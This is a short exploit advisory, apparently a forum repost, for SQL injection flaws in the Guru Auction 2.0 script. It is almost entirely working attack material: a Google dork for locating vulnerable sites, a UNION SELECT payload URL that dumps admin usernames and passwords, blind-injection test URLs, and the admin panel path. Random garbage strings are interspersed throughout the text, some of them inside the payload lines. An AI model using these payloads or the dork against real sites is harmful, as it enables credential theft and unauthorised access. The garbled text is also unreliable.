Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
: Z! V; h0 F( n+ o
- p! h% r# N, T. @3 g# G# e0 {$ B作者 : v3n0m% u. H+ @# q& Z9 O+ F5 T& P2 d
应用 : Guru Auction 2.0
. k# O) b3 T- J( DPrice : $49! ^$ ~' ?& B: \
Vendor : http://www.guruscript.com/% L8 ?+ S& D/ b) k
Google Dork : inurl:subcat.php?cate_id=
" ^/ {+ t) q9 Z k' M9 c' N6 c1 e ( W% s, @. n& }2 _' T
SQLi p0c:* v2 j8 _' i! U- ?: v6 r( G5 t
~~~~~~~~~~
2 e6 q3 G* o; V) L$ b$ K* `) |http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
5 T+ |! |2 @6 a! P: i
, _& `4 r* R0 ? % }2 |$ v9 B9 E5 S1 Z8 q# s! @" n
盲注 p0c:0 |# K C) U M# Z
~~~~~~~~~~
# C( T A+ ~; Ahttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
( h/ x1 G6 W8 Vhttp://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false1 h2 x" _% X, O4 H( z% F
% [: D( n! U) v3 K1 N管理登录入口:; r/ ?5 s6 \2 k1 M
~~~~~~~~~~9 s% ^- n1 @- c
http://domain.tld/[path]/admin/3 P2 M4 ~. }; f
|
发表于 2012-12-31 09:24:05
收藏
支持
反对